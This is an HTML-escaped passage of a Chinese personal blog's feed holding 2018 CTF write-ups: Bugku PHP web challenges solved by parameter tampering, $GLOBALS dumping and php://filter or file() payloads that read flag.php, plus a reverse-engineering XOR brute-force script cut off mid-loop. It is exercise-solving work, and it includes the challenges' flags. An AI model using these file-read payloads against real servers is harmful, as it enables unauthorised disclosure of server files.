        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;php2
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;php2&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>PHP1</title>
    <published>2018-08-16T17:31:03+08:00</published>
    <updated>2018-08-16T17:31:03+08:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/php1/" type="text/html" />
    <id>https://emptystack.top/php1/</id>
    <content type="html">
      &lt;h2 id=&quot;WEB基础$_GET&quot;&gt;WEB&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;基础&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;$_GET&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;flag{bugku_get_su8kej2en}&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;看到要&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;$what==&#x27;flag&#x27;&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;才能打印&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;flag，&lt;code&gt;$what&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是可以用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;?&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;传进来的，所以地址栏输入&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;http:&#x2F;&#x2F;120.24.86.145:8002&#x2F;get&#x2F;?what=flag&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;得到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;flag&lt;&#x2F;p&gt;
&lt;h2 id=&quot;WEB基础$_POST&quot;&gt;WEB&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;基础&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;$_POST&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;flag{bugku_get_ssseint67se}&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;这回&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;$what&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;要用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;POST&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;方法提交才行，在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;hackbar&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里选“Post
data&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;，上面的栏填地址，下面的写&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;what=flag&lt;&#x2F;code&gt;，execute
就得到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;flag&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;变量1&quot;&gt;变量&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;flag{92853051ab894a64f7865cf3c2128b34}&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;提示&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;flag&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;在变量里，后续程序提取出输入的参数所代表变量的值，试了下&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;?args=flag&lt;&#x2F;code&gt;，&lt;code&gt;$flag&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是空的……然后上网查可以用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GLOBALS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;组成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;$GLOBALS&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;把所有变量打印出来。含有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;flag&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的变量名是“ZFkwe3&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;，应该也可以用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Burp&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;爆破出来？只要时间够用。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;点击一百万次&quot;&gt;点击一百万次&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;flag{Not_C00kI3Cl1ck3r}&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;提示说&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;js（本来想用连点器的结果算了下我的连点器最快要点&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;2.78&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;个小时&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，看&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;js，点&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1000000&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;次后创建了一个下面这样的的表单并提交。&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;html&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;form&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; action&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; method&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;post&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;input&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; type&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;text&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; name&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;clicks&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; value&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&amp;#39; + clicks + &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; hidden&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; &#x2F;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;form&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;method=&quot;post&quot;&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;说明用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;POST&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;提交，还用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;hackbar，上面网址下面&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;clicks=1000000&lt;&#x2F;code&gt;，execute&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;得&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;flag。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;本地包含&quot;&gt;本地包含&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;flag{bug-ctf-gg-99}&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;code&gt;$_REQUEST[]&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;包含&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;$_POST[] $_GET[]&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的所有内容，所以打算用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;?&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;传参。试了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;?hello=$flag&lt;&#x2F;code&gt;，回显图样图森破……想仿照第&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;3&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;题用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;$GLOBAL&lt;&#x2F;code&gt;，全体打印出来也没有。之前做题有个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;?hello=php:&#x2F;&#x2F;filter&#x2F;read=convert.base64-encode&#x2F;resource=flag.php&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;也不行，应该是因为那个不是变量不能用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;var_dump&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;吧。后来百度到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;?hello=file(&#x27;flag.php&#x27;)&lt;&#x2F;code&gt;，成了。&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;php1
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;php1&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>RE2</title>
    <published>2018-08-15T16:41:57+08:00</published>
    <updated>2018-08-15T16:41:57+08:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/re2/" type="text/html" />
    <id>https://emptystack.top/re2/</id>
    <content type="html">
      &lt;h2 id=&quot;correct_the_byte&quot;&gt;correct_the_byte&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;FLAG-EiTMzujOpNwYCeervQMFod0hmZHC@&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;看一晚上也不知道要&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;correct&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;哪个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;byte，问了学长得知是异或的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;0x13&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;有问题。所以就&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;x&#x2F;34xb $rsi&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;打印出将要被异或的值，穷举要异或的数爆破。&lt;&#x2F;p&gt;
&lt;p&gt;再加上群里&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;flag&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的开头图片，ctrl+f&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;找出&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;flag。&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;rsi_list&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; = [&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;06&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0d&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;67&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;23&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1e&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;07&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;30&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;3f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;20&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;05&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;3a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;04&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;3d&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;13&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;09&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;2f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;2f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;38&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;3c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;07&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;25&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;2e&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;7a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;22&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;27&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;10&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;02&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;09&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;100&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    for&lt;&#x2F;span&gt;&lt;span&gt; rsi&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span&gt; rsi_list&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
